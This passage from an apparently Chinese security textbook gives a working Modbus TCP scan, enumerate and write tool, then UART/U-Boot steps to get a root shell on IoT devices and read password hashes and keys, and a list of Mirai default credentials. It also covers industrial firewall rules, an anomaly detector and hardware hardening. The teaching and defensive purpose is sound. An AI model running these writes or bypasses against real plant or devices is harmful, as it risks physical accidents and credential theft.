return False
def close(self):
if self.sock:
self.sock.close()
def _build_mbap(self, pdu: bytes) -> bytes:
"""构造 MBAP 头(Modbus Application Protocol)"""
self.transaction_id = (self.transaction_id + 1) % 65536
length = len(pdu) + 1 # PDU 长度 + 单元标识符
return struct.pack('>HHHB',
self.transaction_id, # 事务标识
0x0000, # 协议标识(Modbus = 0)
length, # 长度
self.unit_id) # 单元标识(从站地址)
def _send_recv(self, pdu: bytes) -> Optional[bytes]:
"""发送并接收"""
if not self.sock:
return None
request = self._build_mbap(pdu) + pdu
try:
self.sock.sendall(request)
response = self.sock.recv(1024)
if len(response) < 8:
return None
# 解析响应
tid, proto, length, unit = struct.unpack('>HHHB', response[:7])
resp_pdu = response[7:]
# 检查是否异常响应
if resp_pdu[0] & 0x80:
func = resp_pdu[0] & 0x7F
exc_code = resp_pdu[1] if len(resp_pdu) > 1 else 0
print(f" [异常] 功能码 0x{func:02X}, 异常码 0x{exc_code:02X}")
return None
return resp_pdu
except socket.timeout:
print(" [超时]")
return None
except Exception as e:
print(f" [错误] {e}")
return None
# ============ 读操作 ============
def read_holding_registers(self, address: int, count: int = 1) -> Optional[List[int]]:
"""功能码 0x03:读保持寄存器"""
pdu = struct.pack('>BHH', READ_HOLDING_REGISTERS, address, count)
resp = self._send_recv(pdu)
if not resp or len(resp) < 2:
return None
byte_count = resp[1]
values = []
for i in range(0, byte_count, 2):
values.append(struct.unpack('>H', resp[2+i:4+i])[0])
return values
def read_coils(self, address: int, count: int = 1) -> Optional[List[bool]]:
"""功能码 0x01:读线圈"""
pdu = struct.pack('>BHH', READ_COILS, address, count)
resp = self._send_recv(pdu)
if not resp or len(resp) < 2:
return None
byte_count = resp[1]
bits = []
for byte in resp[2:2+byte_count]:
for i in range(8):
bits.append(bool(byte & (1 << i)))
return bits[:count]
def read_device_id(self) -> Optional[dict]:
"""功能码 0x2B:读设备标识(指纹识别)"""
pdu = struct.pack('>BBBB', READ_DEVICE_ID, 0x0E, 0x01, 0x00)
resp = self._send_recv(pdu)
if not resp:
return None
# 解析设备标识(简化)
info = {}
try:
i = 6 # 跳过前面的字段
while i < len(resp) - 1:
obj_id = resp[i]
obj_len = resp[i+1]
value = resp[i+2:i+2+obj_len].decode('utf-8', errors='ignore')
names = {0x00: '厂商', 0x01: '产品代码', 0x02: '版本号',
0x03: '厂商网址', 0x04: '产品名', 0x05: '型号'}
info[names.get(obj_id, f'0x{obj_id:02X}')] = value
i += 2 + obj_len
except Exception:
pass
return info
# ============ ⚠️ 写操作(危险)============
def write_single_coil(self, address: int, value: bool) -> bool:
"""
功能码 0x05:写单个线圈
⚠️ 危险:这会物理改变设备状态!
value: True = 0xFF00 (闭合/开), False = 0x0000 (断开/关)
物理影响示例:
address=0 可能是 "电机启动继电器"
写 True → 电机启动
写 False → 电机停止
"""
val = 0xFF00 if value else 0x0000
pdu = struct.pack('>BHH', WRITE_SINGLE_COIL, address, val)
resp = self._send_recv(pdu)
return resp is not None
def write_single_register(self, address: int, value: int) -> bool:
"""
功能码 0x06:写单个寄存器
⚠️ 危险:这会改变工艺参数!
物理影响示例:
address=100 可能是 "目标温度设定值"
正常值 180(℃),写成 500 → 加热器全功率 → 可能起火
"""
pdu = struct.pack('>BHH', WRITE_SINGLE_REGISTER, address, value)
resp = self._send_recv(pdu)
return resp is not None
def write_multiple_registers(self, address: int, values: List[int]) -> bool:
"""功能码 0x10:写多个寄存器"""
count = len(values)
byte_count = count * 2
pdu = struct.pack('>BHHB', WRITE_MULTIPLE_REGISTERS, address, count, byte_count)
for v in values:
pdu += struct.pack('>H', v)
resp = self._send_recv(pdu)
return resp is not None
# ============ 攻击流程 ============
def scan_modbus_device(host: str, port: int = 502):
"""步骤 1:扫描并指纹识别"""
print("=" * 70)
print(f"步骤 1:探测 {host}:{port}")
print("=" * 70)
for unit_id in range(1, 248): # Modbus 从站地址范围 1-247
client = ModbusClient(host, port, unit_id, timeout=1.0)
if not client.connect():
return
# 尝试读取设备标识
info = client.read_device_id()
if info and (info.get('厂商') or info.get('产品名')):
print(f"\n[✓] 发现设备!从站地址 = {unit_id}")
for k, v in info.items():
print(f" {k}: {v}")
client.close()
return unit_id
client.close()
print("[-] 未发现响应设备")
return None
def enumerate_registers(host: str, port: int, unit_id: int):
"""步骤 2:枚举寄存器(信息收集)"""
print("\n" + "=" * 70)
print(f"步骤 2:枚举保持寄存器(从站 {unit_id})")
print("=" * 70)
client = ModbusClient(host, port, unit_id)
if not client.connect():
return
print("\n保持寄存器(可读可写的设定值):")
print(f"{'地址':>8} {'十进制':>8} {'十六进制':>8} {'可能的含义'}")
print("-" * 60)
for addr in range(0, 50):
values = client.read_holding_registers(addr, 1)
if values:
val = values[0]
guess = guess_meaning(addr, val)
print(f"0x{addr:04X} {val:8d} 0x{val:04X} {guess}")
print("\n输入寄存器(只读的测量值):")
for addr in range(0, 20):
pdu = struct.pack('>BHH', READ_INPUT_REGISTERS, addr, 1)
resp = client._send_recv(pdu)
if resp and len(resp) >= 4:
val = struct.unpack('>H', resp[2:4])[0]
print(f"0x{addr:04X} {val:8d} 0x{val:04X}")
print("\n线圈状态(开关量):")
coils = client.read_coils(0, 16)
if coils:
for i, state in enumerate(coils):
print(f" 线圈 {i:2d}: {'● 闭合(ON)' if state else '○ 断开(OFF)'}")
client.close()
def guess_meaning(addr: int, val: int) -> str:
"""猜测寄存器含义(教学演示)"""
if val == 0:
return "(值为0,可能是未使用)"
if 0 < val < 500:
return "可能是温度/压力设定值"
if 1000 < val < 10000:
return "可能是转速/流量设定值"
if val == 0xFFFF or val == 0x8000:
return "可能是告警/故障标志"
return ""
def demonstrate_attack(host: str, port: int, unit_id: int):
"""
步骤 3:演示写操作的影响(★ 危险,靶场专用)
⚠️ 这个函数会真的写设备!
⚠️ 只在自建靶场运行!
"""
print("\n" + "=" * 70)
print("步骤 3:演示写操作的物理影响")
print("=" * 70)
print("\n⚠️⚠️⚠️ 警告:以下操作会真实改变设备状态 ⚠️⚠️⚠️")
confirm = input("\n确认你在【自建靶场】中,输入 'YES' 继续: ")
if confirm != 'YES':
print("已取消")
return
client = ModbusClient(host, port, unit_id)
if not client.connect():
return
# ---- 演示 A:切换线圈 ----
print("\n[A] 切换线圈 0 的状态(相当于按开关)")
before = client.read_coils(0, 1)
print(f" 切换前: {'ON' if before and before[0] else 'OFF'}")
client.write_single_coil(0, not (before and before[0]))
time.sleep(0.5)
after = client.read_coils(0, 1)
print(f" 切换后: {'ON' if after and after[0] else 'OFF'}")
# 恢复原状
client.write_single_coil(0, before[0] if before else False)
print(" 已恢复原状")
# ---- 演示 B:篡改设定值 ----
print("\n[B] 篡改保持寄存器 0 的值(相当于改工艺参数)")
original = client.read_holding_registers(0, 1)
if original:
print(f" 原始值: {original[0]}")
print(f" ⚠️ 如果这个寄存器是'目标温度',改成极端值会导致事故")
# 只演示,不真的写危险值
print(" (演示模式:不实际写入危险值)")
client.close()
def main():
print("=" * 70)
print("Modbus TCP 安全评估工具 —— 教学/授权测试专用")
print("=" * 70)
print("\n⚠️ 法律提醒:")
print(" 《中华人民共和国网络安全法》第 27 条:")
print(" 任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、")
print(" 窃取网络数据等危害网络安全的活动。")
print("\n 未经授权对工业系统测试可能构成:")
print(" - 破坏计算机信息系统罪(刑法第 286 条)")
print(" - 危害公共安全(如果造成人员伤亡)")
print("\n 本工具仅用于自建靶场或有书面授权的项目。\n")
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <目标IP> [端口]")
print(f"示例: {sys.argv[0]} 192.168.1.100")
print(f"推荐靶场: docker run -p 502:502 -it conpot/conpot")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 502
unit_id = scan_modbus_device(host, port)
if unit_id:
enumerate_registers(host, port, unit_id)
resp = input("\n是否继续演示写操作?(yes/no): ")
if resp.lower() == 'yes':
demonstrate_attack(host, port, unit_id)
if __name__ == '__main__':
main()
5.7.4 Modbus 的防御(工控安全的特殊性)
★ 关键认知:工控安全的优先级是反过来的
传统 IT 安全的优先级(CIA):
① Confidentiality 机密性(最重要)
② Integrity 完整性
③ Availability 可用性
工控 OT 安全的优先级(AIC——倒过来):
① Availability 可用性(最重要!产线不能停)
② Integrity 完整性(参数不能被篡改,否则出事故)
③ Confidentiality 机密性(反而最不重要)
为什么?
- 产线停机 1 分钟 = 几十万损失
- 参数被篡改 = 产品报废 / 设备损坏 / 人员伤亡
- 生产数据泄露 = 相对没那么严重
★ 这个优先级差异导致:
很多 IT 安全措施在 OT 环境【不能直接上】:
- 不能随便装杀毒软件(可能占资源导致 PLC 扫描周期超时)
- 不能随便打补丁(补丁可能让设备不稳定,工控系统常年不更新)
- 不能随便重启(重启 = 停机)
- 不能用主动扫描(Nmap 全端口扫描可能把老设备扫死机)
防御体系(纵深 + 分层):
┌─────────────────────────────────────────────────────────┐
│ 第 0 层:物理隔离(最有效) │
│ ★ 工控网与互联网物理断开(air gap 气隙) │
│ ★ 这是唯一能防住 Stuxnet 类攻击的手段 │
│ (震网就是通过 U 盘摆渡进的物理隔离网络) │
│ 代价:无法远程运维,效率低 │
├─────────────────────────────────────────────────────────┤
│ 第 1 层:网络分段(Purple / Orange 区) │
│ IT 网 ──[工业防火墙]── DMZ ──[工业防火墙]── OT 网 │
│ ★ 工业防火墙不是普通防火墙,它能【理解 Modbus 协议】 │
│ 能做"功能码白名单"(只允许 0x03 读,禁止 0x05 写) │
├─────────────────────────────────────────────────────────┤
│ 第 2 层:协议白名单(工业防火墙 / IPS) │
│ ★ 只允许特定的:源 IP + 目标 IP + 功能码 + 寄存器地址 │
│ 例:只允许工程师站 (10.0.1.10) 对 PLC (10.0.2.20) │
│ 执行功能码 0x03(读),地址范围 0-100 │
│ 其他全部拒绝并告警 │
├─────────────────────────────────────────────────────────┤
│ 第 3 层:单向网闸(数据二极管) │
│ 生产网 → 管理网:只允许单向传输(硬件保证) │
│ ★ 物理上不可能反向,彻底杜绝从管理网攻击生产网 │
├─────────────────────────────────────────────────────────┤
│ 第 4 层:协议安全增强 │
│ - Modbus/TCP Security(Modbus 官方的安全扩展,用 TLS)│
│ - 或者放进 VPN / IPsec 隧道里 │
│ 代价:老设备不支持,要加网关 │
├─────────────────────────────────────────────────────────┤
│ 第 5 层:监测与审计(最后一道) │
│ - 工控 IDS(如 Nozomi、Claroty、Dragos) │
│ - 基线学习:正常工况下哪些功能码会出现 │
│ - 异常告警:出现了从未出现过的功能码 = 攻击 │
│ ★ 因为无法阻止,所以必须能"看见" │
└─────────────────────────────────────────────────────────┘
工业防火墙规则示例(概念):
# 工业防火墙 / 工控 IPS 规则(以 Tofino / Nozomi 为例)
规则组 1:正常生产通信(允许)
- 源: 工程师站 (10.0.1.10)
目标: PLC-01 (10.0.2.20)
协议: Modbus/TCP
功能码: [0x01, 0x02, 0x03, 0x04] # 只允许读
寄存器地址范围: 0-999
速率限制: 100 请求/秒
动作: ALLOW + LOG
规则组 2:授权写入(允许,但严格限制)
- 源: 工程师站 (10.0.1.10)
目标: PLC-01 (10.0.2.20)
协议: Modbus/TCP
功能码: [0x06, 0x10] # 写寄存器
寄存器地址范围: 100-199 # 只允许写参数区
值范围: 0-500 # ★ 限制值的范围!
# 防止写入 9999 这种危险值
时间段: 工作时间 08:00-20:00 # ★ 时间限制
动作: ALLOW + LOG + ALERT # 写操作必须告警
规则组 3:高危功能码(拒绝)
- 功能码: [0x08] # 诊断(某些实现能重启设备)
动作: DENY + ALERT
规则组 4:默认拒绝
- 源: ANY
目标: ANY
协议: Modbus/TCP
动作: DENY + LOG + ALERT
★ 任何未在白名单里的 Modbus 通信都被拒绝并告警
告警规则:
- 出现白名单外的功能码 → 高危告警
- 出现从未见过的源 IP → 高危告警
- 写操作频率异常(1 分钟内 > 10 次)→ 中危告警
- 写入值超出历史范围 → 高危告警
- 非工作时间出现写操作 → 高危告警
工控 IDS 的核心思路(基线学习):
#!/usr/bin/env python3
"""
工控异常检测(概念演示)
核心思路:
工控网络的流量是【高度规律】的——
同样的设备,每秒读同样的寄存器,数值在固定范围内波动。
这和 IT 网络完全不同(IT 网络流量是随机的)。
所以可以建立"行为基线",任何偏离基线的都是异常。
★ 这是工控安全最有效的检测手段,
因为工控协议的"正常"极其可预测。
"""
from dataclasses import dataclass, field
from typing import Dict, Set, List, Tuple
from collections import defaultdict
from datetime import datetime
import statistics
@dataclass
class RegisterBaseline:
"""单个寄存器的行为基线"""
address: int
min_value: int = 0xFFFF
max_value: int = 0
mean: float = 0.0
std_dev: float = 0.0
sample_count: int = 0
samples: List[int] = field(default_factory=list)
def update(self, value: int):
"""更新基线"""
self.samples.append(value)
if len(self.samples) > 1000:
self.samples.pop(0)
self.sample_count += 1
self.min_value = min(self.min_value, value)
self.max_value = max(self.max_value, value)
self.mean = statistics.mean(self.samples)
if len(self.samples) > 1:
self.std_dev = statistics.stdev(self.samples)
def is_anomalous(self, value: int, sigma_threshold: float = 4.0) -> Tuple[bool, str]:
"""
判断值是否异常
三种异常:
① 超出历史范围(最严重)
② 偏离均值 N 个标准差
③ 变化过快(正常工艺参数不会突变)
"""
# ① 超出历史绝对范围
if value > self.max_value * 1.5 or value < self.min_value * 0.5:
return True, f"超出历史范围 [历史: {self.min_value}~{self.max_value}, 当前: {value}]"
# ② 偏离均值
if self.std_dev > 0:
z_score = abs(value - self.mean) / self.std_dev
if z_score > sigma_threshold:
return True, f"统计异常 (偏离均值 {z_score:.1f}σ, 均值={self.mean:.1f})"
# ③ 变化率异常
if len(self.samples) >= 2:
last = self.samples[-1]
if last != 0:
change_rate = abs(value - last) / abs(last)
if change_rate > 0.5: # 50% 突变
return True, f"突变异常 (上次={last}, 当前={value}, 变化 {change_rate*100:.0f}%)"
return False, ""
class ICSAnomalyDetector:
"""工控异常检测器"""
def __init__(self):
# (源IP, 目标IP, 单元ID, 寄存器地址) -> RegisterBaseline
self.register_baselines: Dict[Tuple, RegisterBaseline] = {}
# (源IP, 目标IP) -> 出现过的功能码集合
self.function_codes: Dict[Tuple, Set[int]] = defaultdict(set)
# 学习模式标志
self.learning_mode = True
self.learning_packets = 0
self.LEARNING_THRESHOLD = 10000 # 学习 1 万个包后转入检测模式
def process_packet(self, src_ip: str, dst_ip: str, unit_id: int,
func_code: int, address: int, value: int = None):
"""处理一个 Modbus 包"""
peer_key = (src_ip, dst_ip)
reg_key = (src_ip, dst_ip, unit_id, address)
alerts = []
# ===== ① 功能码白名单检查 =====
if not self.learning_mode:
known_codes = self.function_codes.get(peer_key, set())
if func_code not in known_codes:
alerts.append({
'level': 'CRITICAL',
'type': 'UNKNOWN_FUNCTION_CODE',
'message': f'出现基线外的功能码 0x{func_code:02X}',
'detail': f'基线中该链路只见过: {[hex(c) for c in known_codes]}'
})
else:
self.function_codes[peer_key].add(func_code)
# ===== ② 写操作检测(写操作永远敏感)=====
WRITE_CODES = {0x05, 0x06, 0x0F, 0x10}
if func_code in WRITE_CODES:
alerts.append({
'level': 'WARNING',
'type': 'WRITE_OPERATION',
'message': f'检测到写操作 0x{func_code:02X} @ 地址 {address}',
'detail': f'值: {value}'
})
# 如果是写入数值,检查值是否异常
if value is not None and reg_key in self.register_baselines:
baseline = self.register_baselines[reg_key]
is_anom, reason = baseline.is_anomalous(value)
if is_anom:
alerts.append({
'level': 'CRITICAL',
'type': 'ABNORMAL_WRITE_VALUE',
'message': f'写入异常值!地址 {address}, 值 {value}',
'detail': reason
})
# ===== ③ 更新基线 =====
if value is not None:
if reg_key not in self.register_baselines:
self.register_baselines[reg_key] = RegisterBaseline(address)
self.register_baselines[reg_key].update(value)
# ===== ④ 学习模式计数 =====
if self.learning_mode:
self.learning_packets += 1
if self.learning_packets >= self.LEARNING_THRESHOLD:
self.learning_mode = False
print(f"[*] 学习完成,已收集 {self.learning_packets} 个包,转入检测模式")
print(f"[*] 基线覆盖 {len(self.register_baselines)} 个寄存器")
return alerts
# ============ 使用示例 ============
if __name__ == '__main__':
detector = ICSAnomalyDetector()
print("模拟正常生产流量(学习阶段)...")
# 模拟:温度寄存器在 180±5 波动
import random
for i in range(1000):
temp = int(random.gauss(180, 5))
detector.process_packet('10.0.1.10', '10.0.2.20', 1, 0x03, 100, temp)
# 模拟:压力寄存器在 50±3 波动
for i in range(1000):
pressure = int(random.gauss(50, 3))
detector.process_packet('10.0.1.10', '10.0.2.20', 1, 0x03, 101, pressure)
# 强制结束学习模式
detector.learning_mode = False
print("\n已建立基线\n")
print("=" * 70)
print("模拟攻击流量")
print("=" * 70)
# 攻击 1:正常读取(不应告警)
print("\n[测试 1] 正常读取温度 = 182")
alerts = detector.process_packet('10.0.1.10', '10.0.2.20', 1, 0x03, 100, 182)
print(f" 告警数: {len(alerts)} {'(正常)' if not alerts else ''}")
# 攻击 2:写入正常范围的值(应告警"写操作"但不 CRITICAL)
print("\n[测试 2] 写入温度设定值 = 185(正常范围)")
alerts = detector.process_packet('10.0.1.10', '10.0.2.20', 1, 0x06, 100, 185)
for a in alerts:
print(f" [{a['level']}] {a['message']}")
# 攻击 3:写入极端值(应 CRITICAL)
print("\n[测试 3] 写入温度设定值 = 9999(★ 异常!)")
alerts = detector.process_packet('10.0.1.10', '10.0.2.20', 1, 0x06, 100, 9999)
for a in alerts:
print(f" [{a['level']}] {a['message']}")
print(f" {a['detail']}")
# 攻击 4:未知来源(应 CRITICAL)
print("\n[测试 4] 从未知 IP 13.37.13.37 发起写操作")
alerts = detector.process_packet('13.37.13.37', '10.0.2.20', 1, 0x06, 100, 200)
for a in alerts:
print(f" [{a['level']}] {a['message']}")
print(f" {a['detail']}")
# 攻击 5:基线外的功能码
print("\n[测试 5] 使用基线外的功能码 0x08(诊断/重启)")
alerts = detector.process_packet('10.0.1.10', '10.0.2.20', 1, 0x08, 0, None)
for a in alerts:
print(f" [{a['level']}] {a['message']}")
print(f" {a['detail']}")
5.7.5 其他工控协议速览
| 协议 | 端口 | 用途 | 认证 | 加密 | 主要风险 |
|---|---|---|---|---|---|
| Modbus/TCP | 502 | PLC 通信 | ❌ | ❌ | 直接读写,无任何防护 |
| S7comm | 102 | 西门子 PLC | ❌ | ❌ | 能启停 CPU、下载程序块 |
| EtherNet/IP | 44818 | 罗克韦尔 | ❌ | ❌ | CIP 协议,能改配置 |
| DNP3 | 20000 | 电力/水利 | ⚠️ 有安全扩展 | ⚠️ 可选 | 电力系统的关键协议 |
| IEC 60870-5-104 | 2404 | 电力调度 | ❌ | ❌ | 电网控制 |
| BACnet | 47808 | 楼宇自控 | ❌ | ❌ | 空调/门禁/照明 |
| OPC UA | 4840 | 工业数据交换 | ✅ 内建 | ✅ 内建 | ★ 最安全,新系统首选 |
| Profinet | 34962+ | 西门子/工业以太网 | ❌ | ❌ | 实时通信 |
S7comm 的特殊危险(西门子 PLC):
S7comm 比 Modbus 更危险的地方:
Modbus:只能读写寄存器和线圈
S7comm:能做的事情多得多:
① 读写任意内存区(DB、M、I、Q)
② ★ 启停 CPU(STOP 指令 → 整个产线停机)
③ ★ 下载/上传程序块(可以植入恶意逻辑,就是 Stuxnet 干的事)
④ 读取诊断信息(拿到完整的硬件配置)
⑤ 修改系统时间
★ 最危险的是"下载程序块":
攻击者可以在 PLC 的程序里植入一段恶意逻辑,
比如"运行 1000 小时后,把离心机转速提到 100 倍"
设备表面上一切正常(HMI 显示正常值),
实际上已经在被物理摧毁 ← Stuxnet 的核心手法
OPC UA:工控的未来(安全是内建的):
OPC UA vs 传统工控协议:
✅ 内建安全(设计时就考虑了):
- X.509 证书认证(双向 mTLS)
- 加密(AES-256)
- 签名(完整性)
- 用户级授权(RBAC)
- 审计日志
- 防重放(序列号 + 时间戳)
✅ 平台无关:不绑 Windows(传统 OPC 依赖 COM/DCOM)
⚠️ 现实问题:
- 老设备不支持(要加网关,成本)
- 性能开销(加密解密要 CPU)
- 配置复杂(证书管理劝退很多人)
- 很多部署为了省事关掉了安全(等于白用)
★ 建议:
新系统首选 OPC UA,且必须:
□ 启用安全策略(Basic256Sha256 或更高)
□ 启用证书认证(不用 Anonymous)
□ 配置应用证书(不用自动生成的自签证书)
□ 定期轮换证书
5.8 IoT 设备端安全(固件与硬件)
5.8.1 IoT 攻击面总览
IoT 设备攻击面
│
┌────────────┬────────────┼────────────┬────────────┐
│ │ │ │ │
硬件接口 固件 网络服务 云端接口 供应链
│ │ │ │ │
┌──┴──┐ ┌──┴──┐ ┌──┴──┐ ┌──┴──┐ ┌──┴──┐
│UART │ │未加密│ │telnet│ │弱认证│ │第三方│
│JTAG │ │硬编码│ │SSH │ │API │ │组件 │
│SWD │ │凭据 │ │HTTP │ │越权 │ │后门 │
│SPI │ │后门 │ │默认 │ │密钥 │ │仿冒 │
│I2C │ │账号 │ │口令 │ │泄露 │ │芯片 │
│Flash│ │调试 │ │UPnP │ │ │ │ │
│ │ │接口 │ │ │ │ │ │ │
└─────┘ └─────┘ └─────┘ └─────┘ └─────┘
拆机 提取 扫描 抓包 采购
5~30分钟 10分钟 1 分钟 10 分钟 难以发现
5.8.2 硬件调试接口(UART / JTAG / SWD)
白话:设备主板上会留一些“维修接口”,工程师用来调试和刷机。 这些接口如果没禁用,攻击者接上就能拿到设备的完全控制权。
三个主要接口:
| 接口 | 白话 | 接线 | 能做什么 | 常见度 |
|---|---|---|---|---|
| UART | 串口控制台,接上就能看到启动日志和 shell | 3~4 根线(VCC/GND/TX/RX) | ★ 直接拿 root shell(最常见!) | ⭐⭐⭐⭐⭐ |
| JTAG | 芯片级调试接口,能读内存、能单步调试 | 4~20 根线 | 读出固件、绕过密码、修改程序 | ⭐⭐⭐⭐ |
| SWD | ARM 的简化版 JTAG,只要 2 根线 | 2 根线(SWDIO/SWCLK) | 同 JTAG(ARM 设备常见) | ⭐⭐⭐⭐ |
| SPI/I2C | 直接读 Flash 芯片 | 需要夹子/焊台 | 读出完整固件 | ⭐⭐⭐ |
UART 实战(最常见的 IoT 入侵方式):
# ========== 步骤 1:找到 UART 引脚 ==========
# 主板上通常有 4 个排在一起的焊盘/排针,标注可能是:
# VCC GND TX RX
# 或者 V G T R
# 或者只是一排没有标注的孔
# 用万用表找 GND:
# Continuity 档(蜂鸣档),黑表笔接电源接口的金属外壳
# 红表笔逐个碰焊盘,响的那个就是 GND
# 用万用表找 VCC:
# 电压档,设备通电后,量出稳定的 3.3V 或 5V
# 剩下两个是 TX 和 RX:
# TX(发送):设备通电时电压会跳动(有数据发出)
# RX(接收):通常电压稳定在 3.3V
# 用逻辑分析仪/示波器确认(更准)
# ========== 步骤 2:连接 USB-TTL 转换器 ==========
# 需要的硬件(淘宝 10 块钱):
# CH340 / CP2102 / FT232RL USB 转 TTL 模块
# 接线(★ 交叉连接!):
# 设备的 TX → 转换器的 RX
# 设备的 RX → 转换器的 TX
# 设备的 GND → 转换器的 GND
# ⚠️ VCC 不要接!(除非转换器需要,接错会烧设备)
#
# ⚠️ 电平匹配:
# 设备是 3.3V 就用 3.3V 的转换器,5V 就用 5V
# 3.3V 设备接 5V 信号 = 烧毁
# ========== 步骤 3:确定波特率 ==========
# 常见波特率:9600, 19200, 38400, 57600, 115200
# 最常用:115200
# 用逻辑分析仪自动识别(最准)
# 或者挨个试(笨办法但有效)
# ========== 步骤 4:连接并拿到 shell ==========
# Linux / macOS:
screen /dev/ttyUSB0 115200
# 或者
minicom -D /dev/ttyUSB0 -b 115200
# 或者(推荐,更好用)
sudo apt install picocom
picocom -b 115200 /dev/ttyUSB0
# Windows:
# 设备管理器看 COM 口
# PuTTY → Serial → COM3 → Speed 115200
# ========== 步骤 5:你会看到什么 ==========
# 【情况 A】启动日志(U-Boot)
U-Boot 2016.05 (Sep 12 2023 - 10:23:45 +0800)
DRAM: 128 MiB
NAND: 256 MiB
Hit any key to stop autoboot: 3
# ★ 这时候按任意键!就能进 U-Boot 命令行
# 【情况 B】Linux 启动日志
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 3.10.14 (builder@factory) ...
...
[ 12.345678] VFS: Mounted root (squashfs filesystem) readonly
Starting services...
# ★ 最后可能会直接给你一个 shell
# 【情况 C】直接要登录
( none) login: _
# ★ 需要账号密码,往下看怎么绕过
# ========== 步骤 6:绕过登录(U-Boot 方式)==========
# 在 U-Boot 倒计时按任意键,进入 U-Boot 命令行
# 然后修改内核启动参数,直接进入单用户模式:
# 查看当前启动参数
printenv
# bootargs=console=ttyS0,115200 root=/dev/mtdblock2 rootfstype=squashfs
# ★ 修改:在 bootargs 后面加 init=/bin/sh
setenv bootargs console=ttyS0,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/bin/sh
# 启动
boot
# 结果:直接拿到 root shell,不需要密码!
/ # id
uid=0(root) gid=0(root)
/ # cat /etc/shadow ← 拿到所有密码 hash
/ # cat /etc/config/mqtt.conf ← 拿到 MQTT 凭据
# ========== 步骤 7:常见收获 ==========
cat /etc/shadow # 密码 hash(拿去 hashcat 跑)
cat /etc/passwd # 用户列表
cat /etc/config/* # 配置文件(含各种凭据)
cat /etc/dropbear/*_host_key # SSH 主机密钥
find / -name "*.pem" -o -name "*.key" 2>/dev/null # 私钥
ps aux # 运行的服务
netstat -tulnp # 监听的端口
cat /proc/mtd # Flash 分区布局
dd if=/dev/mtd0 of=/tmp/uboot.bin # dump 固件
SPI Flash 读取(直接读固件):
# 需要的硬件:
# - 编程器(CH341A,淘宝 20 块钱)
# - SOP8 测试夹(免拆焊,10 块钱)
# - 或者 SOIC8 烧录座(要拆焊)
# 步骤:
# 1. 断电,把测试夹夹在 SPI Flash 芯片上(8 脚的小芯片)
# 注意方向:芯片上有个圆点标记的是第 1 脚
# 2. 接上 CH341A 编程器到电脑
# 3. 读取
# Linux 工具:flashrom
sudo apt install flashrom
# 检测芯片
sudo flashrom -p ch341a_spi
# 读取整个 Flash(可能要几分钟)
sudo flashrom -p ch341a_spi -r firmware_backup.bin
# 输出:
# flashrom v1.2 on Linux 5.15.0
# Found Winbond flash chip "W25Q128.V" (16384 kB, SPI)
# Reading flash... done.
# 4. 分析固件(见 5.5.8)
binwalk -e firmware_backup.bin
# Python 工具(更好用)
pip install pyftdi
# 或者用 flashrom 的 Python 封装
防御(设备厂商角度):
硬件接口防护(产品安全设计):
生产阶段:
☐ 生产完成后熔断 eFuse / 写 OTP,永久禁用 JTAG/SWD
(STM32: 设置 RDP Level 2,不可逆)
☐ UART 只留 TX(只能输出日志,不能输入命令)
或者完全移除 UART 引脚/焊盘
☐ Bootloader 设密码(U-Boot 要密码才能进命令行)
☐ 禁用 U-Boot 的自动倒计时中断
setenv bootdelay 0 ← 不给按键盘的机会
固件层:
☐ 关闭串口 root shell(/etc/inittab 里注释掉 console)
☐ 启用 Secure Boot(只跑签名的固件)
☐ Flash 加密(读到的是密文)
☐ ★ 用安全芯片(SE / TPM / TrustZone)存密钥
这样即使读出 Flash,密钥也拿不到
物理层:
☐ 外壳防拆(拆开触发自毁/告警)
☐ 关键芯片涂覆/灌胶(增加拆解难度)
☐ Flash 芯片用 BGA 封装(不能用夹子夹)
5.8.3 默认口令与弱认证
为什么 IoT 的默认口令问题这么严重:
Mirai 僵尸网络(2016 年,DDoS 了半个互联网):
攻击方式:扫描全网,用【61 个硬编码的默认用户名密码组合】尝试 telnet 登录
结果:感染了 60 万台设备(摄像头、路由器、DVR)
造成的攻击:
- 2016.09 法国 OVH 被 1Tbps DDoS
- 2016.10 Dyn DNS 被攻击 → Twitter/GitHub/Netflix/PayPal 全挂
- 2016.11 德国电信 90 万用户断网
★ 那 61 个密码包括:
admin:admin, root:root, root:1234, admin:1234,
root:xc3511, admin:password, root:vizxv, ...
(大部分来自厂商的默认口令表)
到 2026 年的今天,Mirai 的变种仍在活跃,
因为仍有大量设备用默认口令,且从不更新。
常见的 IoT 默认口令(自查清单):
# 用户名:密码(IoT 设备最常见的弱口令)
admin:admin
admin:1234
admin:password
admin:12345
admin:0000
root:root
root:1234
root:admin
root:xc3511 # 海康威视摄像头(Mirai 用的)
root:vizxv # 大华摄像头(Mirai 用的)
root:7ujMko0admin # 大华
root:7ujMko0vizxv
support:support
user:user
guest:guest
ubnt:ubnt # Ubiquiti 设备
pi:raspberry # 树莓派
tech:tech
service:service
(空):(空)
(空):admin
# 弱口令字典(10 万条)下载:
# SecLists: https://github.com/danielmiessler/SecLists
# Passwords/Default-Credentials/default-passwords.csv
防御(服务端角度:我们能做什么):
/**
* 设备弱口令防护(平台侧)
*
* 设备侧的密码我们改不了,但平台侧能做的:
* ① 首次激活强制改密码
* ② 弱口令检测
* ③ 登录失败锁定
* ④ 异常登录检测(多地、异常时间)
*/
@Service
@Slf4j
public class DeviceWeakPasswordGuard {
/** 常见弱口令黑名单(Top 1000) */
private static final Set<String> WEAK_PASSWORDS = loadWeakPasswordList();
/** 设备默认口令(厂商常见的) */
private static final Set<String> DEFAULT_PASSWORDS = Set.of(
"admin", "1234", "password", "12345", "0000", "root",
"admin123", "123456", "8888", "6666", "1111", "123123"
);
/**
* 校验设备密码强度
*/
public PasswordStrength checkStrength(String password) {
List<String> issues = new ArrayList<>();
// ① 长度
if (password.length() < 12) {
issues.add("密码长度至少 12 位");
}
// ② 弱口令黑名单
if (WEAK_PASSWORDS.contains(password.toLowerCase())) {
issues.add("密码在常见弱口令字典中");
}
// ③ 默认口令
if (DEFAULT_PASSWORDS.contains(password.toLowerCase())) {
issues.add("不能使用出厂默认密码");
}
// ④ 复杂度
int charTypes = 0;
if (password.matches(".*[a-z].*")) charTypes++;
if (password.matches(".*[A-Z].*")) charTypes++;
if (password.matches(".*[0-9].*")) charTypes++;
if (password.matches(".*[^a-zA-Z0-9].*")) charTypes++;
if (charTypes < 3) {
